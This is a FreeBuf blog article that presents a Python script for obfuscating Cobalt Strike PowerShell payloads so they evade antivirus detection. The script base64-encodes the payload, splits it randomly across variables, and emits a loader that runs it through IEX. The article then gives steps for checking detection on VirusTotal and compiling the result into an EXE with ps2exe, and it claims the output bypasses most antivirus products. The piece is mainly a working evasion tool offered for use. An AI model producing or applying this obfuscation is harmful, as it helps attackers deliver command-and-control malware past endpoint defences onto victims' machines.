freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Powershell随机免杀结合ps2exe上线
2021-11-10 21:57:46

前言

昨天在freebuf上看到了一篇文章,讲的是使用ps2exe将powershell.ps1文件,编译成为可执行的EXE文件.原文链接如下:https://www.freebuf.com/articles/system/290918.html

于是想到自己之前的使用base64对powershell进行免杀,就想讲这两个结合起来玩一下.

正文

#encoding:utf-8
import os
import sys
import re
import base64
import random
PATH=input("请输入Payload路径:")
#读取文件
with open (PATH,"r+") as payload:
    encode=payload.read()
Before_encode=re.findall("function (.*)",encode,re.S)
Tmp_encode="function "+Before_encode[0]
Temp_encode=base64.b64encode(Tmp_encode.encode('utf-8'))
After_encode=str(Temp_encode)
After_encode=After_encode[2:-1]
Split_Chr=random.randint(65,122)
while Split_Chr >= 91 and Split_Chr<=96:
    Split_Chr=random.randint(65,122)
Split_Chr=chr(Split_Chr)
Final_encode=After_encode.split(Split_Chr)
Len=len(Final_encode)
Long_str=''
for i in range(0,Len-1):
    Final_encode[i]=Final_encode[i]+Split_Chr
    Long_str=Long_str+"$Doit"+str(i)+"+"
#写入新的ps1,此时已经免杀
Long_str=Long_str[0:-1]+"+$Doit"+str(Len-1)
Destion=input("请输入输出目标:")
with open(Destion,"a+") as payload:
    payload.writelines("Set-StrictMode -Version 2 \n")
    for i in range(0,Len):
        payload.writelines("$Doit"+str(i)+"='"+Final_encode[i]+"'\n")
    payload.writelines("$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("+Long_str+")) \n")
    payload.writelines("If ([IntPtr]::size -eq 8) {"+'\n')
    payload.writelines("IEX $testforwindow"+'\n')
    payload.writelines("}")

代码功能可以自己研究下,使用方法如下

1️⃣Cobaltstrike生成Powerhsell Payload

2️⃣运行Python代码,进行随机的Base64免杀,运行过程如下

3️⃣因为每次生成的文件都是随机的,所以我们上传到Virustotal的查杀结果都是随机的。

以下是查杀的结果,偶尔会有

4️⃣通过使用ps2exe文件将生成的powershell.ps1文件编译成可执行的exe文件

这边我们根据自己的需求,来生成可执行的EXE文件

5️⃣最终生成一个可执行的EXE文件,经测试,过了大部分杀软,并且因为随机性,一个被查杀了,随机再生成其他的依旧过除了Windows Defender以外的杀软

6️⃣ 后续优化,可以考虑将Python和ps2exe命令行结合在一起,一步到位,不需要用人家写的winps2exe程序,但是由于时间问题,暂时搁置.

# 免杀
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者